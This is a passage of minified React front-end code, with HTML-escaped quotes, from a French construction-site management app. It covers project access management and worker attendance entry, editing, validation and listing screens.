gap-3&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;ad-start&quot;,className:re,children:&quot;Début&quot;}),n.jsx(&quot;input&quot;,{id:&quot;ad-start&quot;,type:&quot;date&quot;,className:oe,value:T,onChange:W=&gt;G(W.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;ad-end&quot;,className:re,children:&quot;Fin&quot;}),n.jsx(&quot;input&quot;,{id:&quot;ad-end&quot;,type:&quot;date&quot;,className:oe,value:O,onChange:W=&gt;H(W.target.value)})]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;ad-status&quot;,className:re,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{id:&quot;ad-status&quot;,className:oe,value:M,onChange:W=&gt;k(W.target.value),children:Kv.map(W=&gt;n.jsx(&quot;option&quot;,{value:W.value,children:W.label},W.value))})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:J,className:ht,children:J?&quot;Enregistrement…&quot;:&quot;Mettre à jour&quot;})]}):n.jsxs(&quot;dl&quot;,{className:&quot;space-y-2 text-sm text-stone-400&quot;,children:[n.jsxs(&quot;div&quot;,{children:[&quot;Statut : &quot;,n.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:y.status})]}),n.jsxs(&quot;div&quot;,{children:[&quot;Équipe : &quot;,n.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:y.team_id??&quot;—&quot;})]})]}),n.jsx(be,{to:`/projects/${d}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):null}function Wv(){const{projectId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),{setActiveProjectId:f}=ot(),[p,y]=m.useState([]),[v,g]=m.useState([]),[x,N]=m.useState(&quot;&quot;),[b,T]=m.useState(&quot;&quot;),[G,O]=m.useState(null),[H,M]=m.useState(!0),[k,F]=m.useState(!1),K=r(&quot;users.view&quot;);m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!r(&quot;projects.manage&quot;)){M(!1);return}f(c);let Q=!1;return(async()=&gt;{try{const W=await le(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:d});if(Q||y(W.data),K){const P=await le(&quot;/api/v1/users?per_page=200&quot;,{method:&quot;GET&quot;,token:d});Q||g(P.data)}}catch(W){Q||O(W instanceof xe?W.message:&quot;Erreur&quot;)}finally{Q||M(!1)}})(),()=&gt;{Q=!0}},[c,d,r,K,f]);const ee=m.useMemo(()=&gt;new Set(p.map(Q=&gt;Q.user_id)),[p]),I=m.useMemo(()=&gt;v.filter(Q=&gt;!ee.has(Q.id)),[v,ee]),J=K?I.length&gt;0:!0;async function B(Q){if(Q.preventDefault(),!(!d||!x)){O(null),F(!0);try{await le(`/api/v1/projects/${c}/access`,{method:&quot;POST&quot;,token:d,body:JSON.stringify({user_id:Number(x),access_role:b||null})});const W=await le(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:d});y(W.data),N(&quot;&quot;),T(&quot;&quot;)}catch(W){O(W instanceof xe?W.message:&quot;Ajout impossible&quot;)}finally{F(!1)}}}async function R(Q){if(!(!d||!window.confirm(&quot;Retirer cet accès ?&quot;))){O(null);try{await le(`/api/v1/projects/${c}/access/${Q.id}`,{method:&quot;DELETE&quot;,token:d}),y(W=&gt;W.filter(P=&gt;P.id!==Q.id))}catch(W){O(W instanceof xe?W.message:&quot;Suppression impossible&quot;)}}}return r(&quot;projects.manage&quot;)?Number.isFinite(c)?H?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[n.jsx(ne,{backTo:`/projects/${c}`,title:&quot;Accès utilisateurs&quot;}),G?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:G}):null,J?n.jsxs(&quot;form&quot;,{onSubmit:Q=&gt;void B(Q),className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[n.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Ajouter&quot;}),K?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user&quot;,className:re,children:&quot;Utilisateur&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;pa-user&quot;,className:oe,value:x,onChange:Q=&gt;N(Q.target.value),required:!0,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),I.map(Q=&gt;n.jsxs(&quot;option&quot;,{value:Q.id,children:[Q.full_name,&quot; (&quot;,Ci(Q.role),&quot;)&quot;]},Q.id))]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user-id&quot;,className:re,children:&quot;ID utilisateur (sans liste annuaire MVP)&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pa-user-id&quot;,type:&quot;number&quot;,min:1,className:oe,value:x,onChange:Q=&gt;N(Q.target.value),required:!0}),n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-[11px] text-stone-600&quot;,children:&quot;Seul l’entrepreneur admin peut lister les comptes ; les autres rôles saisissent l’identifiant numérique.&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;pa-role&quot;,className:re,children:&quot;Rôle d’accès (optionnel)&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pa-role&quot;,className:oe,value:b,onChange:Q=&gt;T(Q.target.value),placeholder:&quot;ex. lecteur&quot;})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:k,className:ht,children:k?&quot;Ajout…&quot;:&quot;Ajouter l’accès&quot;})]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Tous les utilisateurs listables ont déjà un accès sur ce chantier.&quot;}),n.jsxs(&quot;section&quot;,{children:[n.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Accès actuels&quot;}),n.jsx(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:p.map(Q=&gt;{var W,P;return n.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 rounded-xl border border-stone-800 bg-stone-900/40 px-3 py-2 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;p&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((W=Q.user)==null?void 0:W.full_name)??`Utilisateur #${Q.user_id}`}),n.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[((P=Q.user)==null?void 0:P.email)??&quot;&quot;,&quot; · &quot;,Q.access_role??&quot;rôle libre&quot;]})]}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void R(Q),className:&quot;shrink-0 text-xs text-red-400 hover:text-red-300&quot;,children:&quot;Retirer&quot;})]},Q.id)})}),p.length===0?n.jsx(&quot;p&quot;,{className:&quot;mt-2 text-sm text-stone-500&quot;,children:&quot;Aucun accès explicite.&quot;}):null]}),n.jsx(be,{to:`/projects/${c}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Accès chantier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils pouvant gérer le projet.&quot;})]})}function Pv(u){return{present:&quot;Présent&quot;,absent:&quot;Absent&quot;,half_day:&quot;Demi-journée&quot;,validated:&quot;Validé&quot;}[u]??u}function Iv(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function ey(){var K,ee,I;const{attendanceId:u}=at(),c=Number(u),{token:d,user:r,can:f}=Oe(),{activeProject:p,setActiveProjectId:y}=ot(),[v,g]=m.useState(null),[x,N]=m.useState(null),[b,T]=m.useState(!0),[G,O]=m.useState(!1),H=f(&quot;attendances.manage&quot;),M=f(&quot;attendances.view&quot;)&amp;&amp;!H,k=H&amp;&amp;Iv(r==null?void 0:r.role)&amp;&amp;v&amp;&amp;v.status!==&quot;validated&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!f(&quot;attendances.view&quot;)){T(!1);return}let J=!1;return(async()=&gt;{try{const B=await le(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:d});J||(g(B.data),y(B.data.project_id))}catch(B){J||N(B instanceof xe?B.message:&quot;Erreur&quot;)}finally{J||T(!1)}})(),()=&gt;{J=!0}},[c,d,f,y]);async function F(){if(!(!d||!v)){O(!0),N(null);try{const J=await le(`/api/v1/attendances/${v.id}/validate`,{method:&quot;POST&quot;,token:d,body:JSON.stringify({})});g(J.data)}catch(J){N(J instanceof xe?J.message:&quot;Validation impossible&quot;)}finally{O(!1)}}}return f(&quot;attendances.view&quot;)?Number.isFinite(c)?b?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x&amp;&amp;!v?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]}):v?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),x?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:((K=v.worker)==null?void 0:K.display_name)??`#${v.worker_id}`})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:Pv(v.status)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Heures&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.hours_worked??&quot;—&quot;})]}),v.comment?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par (user)&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((ee=v.created_by)==null?void 0:ee.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé par&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((I=v.validated_by)==null?void 0:I.full_name)??`#${v.validated_by_user_id}`})]}):null]}),M?n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (financier / consultatif).&quot;}):null,n.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[H&amp;&amp;v.status!==&quot;validated&quot;?n.jsx(be,{to:`/attendances/${v.id}/edit`,className:Xt,children:&quot;Modifier&quot;}):null,k?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:G,onClick:()=&gt;void F(),className:ht,children:G?&quot;Validation…&quot;:&quot;Valider la présence&quot;}):null]})]}):null:n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Présence&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function ty(){const u=new Date,c=u.getFullYear(),d=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${d}-${r}`}function ay(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function qm(){const{attendanceId:u}=at(),c=u?Number(u):null,d=Number.isFinite(c),r=Wt(),{token:f,user:p,can:y}=Oe(),{activeProjectId:v,activeProject:g}=ot(),x=v,N=y(&quot;attendances.manage&quot;),b=N&amp;&amp;ay(p==null?void 0:p.role),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(ty),[F,K]=m.useState(&quot;present&quot;),[ee,I]=m.useState(&quot;&quot;),[J,B]=m.useState(&quot;&quot;),[R,Q]=m.useState({}),[W,P]=m.useState(null),[D,te]=m.useState(!1),[$,ae]=m.useState(d),[w,Y]=m.useState([]),[ie,me]=m.useState([]),ze=g==null?void 0:g.name;m.useEffect(()=&gt;{if(!f||!x)return;let X=!1;return(async()=&gt;{try{const[se,de]=await Promise.all([le(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:f}),le(`/api/v1/projects/${x}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:f})]);X||(Y(se.data),me(de.data))}catch{X||(Y([]),me([]))}})(),()=&gt;{X=!0}},[f,x]),m.useEffect(()=&gt;{if(!d||!f||c===null||!Number.isFinite(c)){ae(!1);return}let X=!1;return(async()=&gt;{try{const se=await le(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:f});if(!X){const de=se.data;G(String(de.worker_id)),H(de.team_id?String(de.team_id):&quot;&quot;),k(de.date.slice(0,10)),K(de.status),I(de.hours_worked??&quot;&quot;),B(de.comment??&quot;&quot;)}}catch(se){X||P(se instanceof xe?se.message:&quot;Chargement impossible&quot;)}finally{X||ae(!1)}})(),()=&gt;{X=!0}},[d,c,f]);const j=m.useMemo(()=&gt;{const X=[{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;}];return d&amp;&amp;b?[...X,{value:&quot;validated&quot;,label:&quot;Validé (management)&quot;}]:X},[d,b]);async function q(X){if(X.preventDefault(),!f||!x)return;P(null),Q({}),te(!0);const de={worker_id:Number(T),team_id:O===&quot;&quot;?null:Number(O),date:M,status:F,hours_worked:ee===&quot;&quot;?null:Number(ee),comment:J===&quot;&quot;?null:J};try{if(d&amp;&amp;c!==null)await le(`/api/v1/attendances/${c}`,{method:&quot;PATCH&quot;,token:f,body:JSON.stringify(de)}),r(`/attendances/${c}`);else{const{status:ve,...Ne}=de,Fe={...Ne,status:ve};await le(`/api/v1/projects/${x}/attendances`,{method:&quot;POST&quot;,token:f,body:JSON.stringify(Fe)}),r(&quot;/attendances&quot;)}}catch(ve){if(ve instanceof xe){P(ve.message);const Ne=mr(ve.body);Ne&amp;&amp;Q(Ne)}else P(&quot;Enregistrement impossible&quot;)}finally{te(!1)}}return y(&quot;attendances.view&quot;)?N?x===null?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Présence&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):$?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:d?`/attendances/${c}`:&quot;/attendances&quot;,title:d?&quot;Modifier la présence&quot;:&quot;Nouvelle présence&quot;,subtitle:ze}),n.jsxs(&quot;form&quot;,{onSubmit:X=&gt;void q(X),className:&quot;space-y-4&quot;,children:[W?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-worker&quot;,children:&quot;Ouvrier&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;att-worker&quot;,required:!0,value:T,onChange:X=&gt;G(X.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),w.map(X=&gt;n.jsx(&quot;option&quot;,{value:X.id,children:X.display_name},X.id))]}),R.worker_id?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:R.worker_id}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-team&quot;,children:&quot;Équipe (optionnel)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;att-team&quot;,value:O,onChange:X=&gt;H(X.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),ie.map(X=&gt;n.jsx(&quot;option&quot;,{value:X.id,children:X.name},X.id))]}),R.team_id?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:R.team_id}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-date&quot;,children:&quot;Date&quot;}),n.jsx(&quot;input&quot;,{id:&quot;att-date&quot;,type:&quot;date&quot;,required:!0,value:M,onChange:X=&gt;k(X.target.value),className:oe}),R.date?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:R.date}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-status&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{id:&quot;att-status&quot;,value:F,onChange:X=&gt;K(X.target.value),className:oe,children:j.map(X=&gt;n.jsx(&quot;option&quot;,{value:X.value,children:X.label},X.value))}),R.status?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:R.status}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-hours&quot;,children:&quot;Heures travaillées&quot;}),n.jsx(&quot;input&quot;,{id:&quot;att-hours&quot;,type:&quot;number&quot;,step:&quot;0.25&quot;,min:0,max:24,value:ee,onChange:X=&gt;I(X.target.value),className:oe,placeholder:&quot;ex. 8&quot;}),R.hours_worked?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:R.hours_worked}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;att-comment&quot;,children:&quot;Commentaire&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;att-comment&quot;,value:J,onChange:X=&gt;B(X.target.value),rows:3,className:oe})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:D,className:ht,children:D?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Présence&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas d’édition (attendances.manage).&quot;})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Présence&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function ly(){const u=new Date,c=u.getFullYear(),d=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${d}-${r}`}function ny(u,c){if(u.status!==&quot;planned&quot;&amp;&amp;u.status!==&quot;active&quot;)return!1;const d=c.slice(0,10),r=u.start_date?u.start_date.slice(0,10):null,f=u.end_date?u.end_date.slice(0,10):null;return!(r&amp;&amp;r&gt;d||f&amp;&amp;f&lt;d)}function sy(){const{token:u,user:c,can:d}=Oe(),{activeProjectId:r,activeProject:f}=ot(),p=r,y=d(&quot;attendances.manage&quot;),[v,g]=m.useState(ly),[x,N]=m.useState([]),[b,T]=m.useState([]),[G,O]=m.useState(null),[H,M]=m.useState(!0),[k,F]=m.useState(null),K=m.useCallback(async()=&gt;{if(!u||!p||!d(&quot;attendances.view&quot;)){M(!1);return}M(!0),O(null);try{const[J,B]=await Promise.all([le(`/api/v1/projects/${p}/worker-assignments?per_page=200&amp;sort=-created_at`,{method:&quot;GET&quot;,token:u}),le(`/api/v1/projects/${p}/attendances?date=${encodeURIComponent(v)}&amp;per_page=200`,{method:&quot;GET&quot;,token:u})]);N(J.data),T(B.data)}catch(J){O(J instanceof xe?J.message:&quot;Erreur&quot;),N([]),T([])}finally{M(!1)}},[u,p,d,v]);m.useEffect(()=&gt;{K()},[K]);const ee=m.useMemo(()=&gt;{var Q,W,P;const J=new Map;for(const D of x){if(!ny(D,v))continue;const te=J.get(D.worker_id);(!te||(Q=D.worker)!=null&amp;&amp;Q.display_name&amp;&amp;!((W=te.worker)!=null&amp;&amp;W.display_name))&amp;&amp;J.set(D.worker_id,D)}const B=new Map;for(const D of b)B.set(D.worker_id,D);const R=[];for(const[D,te]of J)R.push({workerId:D,displayName:((P=te.worker)==null?void 0:P.display_name)??`Ouvrier #${D}`,attendance:B.get(D)??null});return R.sort((D,te)=&gt;D.displayName.localeCompare(te.displayName,&quot;fr&quot;)),R},[x,b,v]);async function I(J,B){var Q,W;if(!u||!p||!y)return;F(J.workerId),O(null);const R={worker_id:J.workerId,date:v,status:B,team_id:null,hours_worked:B===&quot;absent&quot;?null:((Q=J.attendance)==null?void 0:Q.hours_worked)??(B===&quot;half_day&quot;?&quot;4&quot;:&quot;8&quot;),comment:((W=J.attendance)==null?void 0:W.comment)??null};try{J.attendance?await le(`/api/v1/attendances/${J.attendance.id}`,{method:&quot;PATCH&quot;,token:u,body:JSON.stringify(R)}):await le(`/api/v1/projects/${p}/attendances`,{method:&quot;POST&quot;,token:u,body:JSON.stringify(R)}),await K()}catch(P){O(P instanceof xe?P.message:&quot;Enregistrement impossible&quot;)}finally{F(null)}}return d(&quot;attendances.view&quot;)?p===null?n.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[n.jsx(ne,{title:&quot;Saisie rapide&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Choisissez un chantier actif.&quot;}),n.jsx(be,{to:&quot;/projects&quot;,className:ft,children:&quot;Chantiers&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;,subtitle:f?f.name:void 0}),n.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Date&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:v,onChange:J=&gt;g(J.target.value),disabled:!y,className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-950 px-4 py-3 text-base text-stone-100&quot;})]}),G?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:G}):null,H?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,y?null:n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule — saisie réservée aux profils avec attendances.manage.&quot;}),!H&amp;&amp;ee.length===0?n.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier affecté à ce chantier à cette date.&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-3&quot;,children:ee.map(J=&gt;{var Q;const B=(Q=J.attendance)==null?void 0:Q.status,R=k===J.workerId;return n.jsxs(&quot;li&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 p-4&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold text-stone-100&quot;,children:J.displayName}),J.attendance?n.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Actuel : &quot;,B,J.attendance.hours_worked?` · ${J.attendance.hours_worked} h`:&quot;&quot;]}):n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-amber-600/80&quot;,children:&quot;Pas encore saisi&quot;}),y?n.jsx(&quot;div&quot;,{className:&quot;mt-3 grid grid-cols-3 gap-2&quot;,children:[[&quot;present&quot;,&quot;Présent&quot;],[&quot;half_day&quot;,&quot;½ jour&quot;],[&quot;absent&quot;,&quot;Absent&quot;]].map(([W,P])=&gt;n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:R||B===&quot;validated&quot;,onClick:()=&gt;void I(J,W),className:[&quot;rounded-lg py-3 text-sm font-semibold transition&quot;,B===W?&quot;bg-amber-600 text-stone-950&quot;:&quot;border border-stone-600 bg-stone-950 text-stone-200 hover:border-amber-700&quot;,R||B===&quot;validated&quot;?&quot;opacity-50&quot;:&quot;&quot;].join(&quot; &quot;),children:R?&quot;…&quot;:P},W))}):null,J.attendance&amp;&amp;y&amp;&amp;B!==&quot;validated&quot;?n.jsx(be,{to:`/attendances/${J.attendance.id}/edit`,className:&quot;mt-3 block text-center text-xs text-amber-500/90 underline-offset-2 hover:underline&quot;,children:&quot;Détail / heures précises&quot;}):null]},J.workerId)})}),(c==null?void 0:c.role)===&quot;contremaitre_technicien&quot;?n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-600&quot;,children:&quot;La validation management (statut « validé ») se fait depuis le détail de la ligne par un chef ou un entrepreneur.&quot;}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const ch=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;}];function iy(u){var c;return((c=ch.find(d=&gt;d.value===u))==null?void 0:c.label)??u}function uy(){const{token:u,can:c}=Oe(),{activeProjectId:d,activeProject:r}=ot(),f=d,p=c(&quot;attendances.manage&quot;),[y,v]=m.useState([]),[g,x]=m.useState(null),[N,b]=m.useState(!0),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(&quot;&quot;),[ee,I]=m.useState(&quot;&quot;),[J,B]=m.useState(&quot;&quot;),[R,Q]=m.useState([]),[W,P]=m.useState([]),D=m.useCallback(async()=&gt;{if(!u||!f||!c(&quot;attendances.view&quot;)){b(!1);return}b(!0),x(null);const $=new URLSearchParams;$.set(&quot;per_page&quot;,&quot;100&quot;),$.set(&quot;sort&quot;,&quot;-date&quot;),T?$.set(&quot;date&quot;,T):(O&amp;&amp;$.set(&quot;from&quot;,O),M&amp;&amp;$.set(&quot;to&quot;,M)),F&amp;&amp;$.set(&quot;worker_id&quot;,F),ee&amp;&amp;$.set(&quot;team_id&quot;,ee),J&amp;&amp;$.set(&quot;status&quot;,J);try{const ae=await le(`/api/v1/projects/${f}/attendances?${$.toString()}`,{method:&quot;GET&quot;,token:u});v(ae.data)}catch(ae){x(ae instanceof xe?ae.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,f,c,T,O,M,F,ee,J]);m.useEffect(()=&gt;{D()},[D]),m.useEffect(()=&gt;{if(!u||!f)return;let $=!1;return(async()=&gt;{try{const[ae,w]=await Promise.all([le(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u}),le(`/api/v1/projects/${f}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:u})]);$||(Q(ae.data),P(w.data))}catch{$||(Q([]),P([]))}})(),()=&gt;{$=!0}},[u,f]);const te=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;attendances.view&quot;)?f===null||!Number.isFinite(f)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[n.jsx(ne,{title:&quot;Présences&quot;}),n.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un 